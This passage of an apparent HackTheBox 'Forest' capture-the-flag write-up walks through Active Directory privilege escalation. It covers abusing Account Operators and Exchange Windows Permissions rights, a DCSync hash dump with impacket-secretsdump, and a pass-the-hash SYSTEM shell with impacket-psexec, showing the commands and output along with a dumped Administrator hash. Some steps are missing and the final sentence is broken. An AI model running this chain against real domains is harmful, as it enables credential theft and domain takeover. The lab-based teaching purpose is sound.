From the above figure, we can see that svc-alfresco is a member of the group Service Accounts which is a member of the group Privileged IT Accounts, which is a member of Account Operators. which we can see by checking the "shortest path to domain admins" and then cheking the node properties.
Moreover, the Account Operators group has GenericAll permissions on the Exchange Windows Permissions group, which has WriteDacl permissions on the domain.
This was a mouthful, so let’s break it down.
svc-alfresco is not just a member of Service Accounts, but is also a member of the groups Privileged IT Accounts and Account Operators.
The Account Operators group has GenericAll permission on the Exchange Windows Permissions group. This permission essentially gives members full control of the group and therefore allows members to directly modify group membership. Since svc-alfresco is a member of Account Operators, he is able to modify the permissions of the Exchange Windows Permissions group.
The Exchange Windows Permission group has WriteDacl permission on the domain HTB.LOCAL. This permission allows members to modify the DACL (Discretionary Access Control List) on the domain. We’ll abuse this to grant ourselves DcSync privileges, which will give us the right to perform domain replication and dump all the password hashes from the domain.
Putting all the pieces together, the following is our attack path.
Create a user on the domain. This is possible because svc-alfresco is a member of the group Account Operators.
Add the user to the Exchange Windows Permission group. This is possible because svc-alfresco has GenericAll permissions on the Exchange Windows Permissions group.
Give the user DcSync privileges. This is possible because the user is a part of the Exchange Windows Permissions group which has WriteDacl permission on the htb.local domain.
Perform a DcSync attack and dump the password hashes of all the users on the domain.
Perform a Pass the Hash attack to get access to the administrator’s account.
Now add a new user and add it to the exchange group
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net user ammar ammar123 /add /domain
The command completed successfully.
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net user ammar
User name ammar
Full Name
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 7/30/2023 1:26:16 AM
Password expires Never
Password changeable 7/31/2023 1:26:16 AM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon Never
Logon hours allowed All
Local Group Memberships
Global Group memberships *Domain Users
The command completed successfully.
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net group "Exchange Windows Permissions" /add ammar
The command completed successfully.
Alternate syntax
Add-DomainGroupMember -Identity "Exchange Windows Permissions" -Members "ammar"
Now to check the aval modules you can use the command
menu
Now run the following commands before executing anything on target.
┌──(kali㉿kali)-[~/Desktop/new]
└─$ impacket-secretsdump htb.local/ammar:[email protected]Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::
Pass the Hash
Now, we can simply pass the hash to get shell.
┌──(kali㉿kali)-[~/Desktop]
└─$ impacket-psexec -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6 [email protected]Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Requesting shares on 10.10.10.161.....
[*] Found writable share ADMIN$
[*] Uploading file zcJDWnNu.exe
[*] Opening SVCManager on 10.10.10.161.....
[*] Creating service GPAd on 10.10.10.161.....
[*] Starting service GPAd.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
nt authority\system
Pass the hash with evil-winrm
You can also use evil-winrm. Remember to use only NT hash(last part).
The Account Operators group . Therefore, the user svc-alfresco can create other users on the domain.
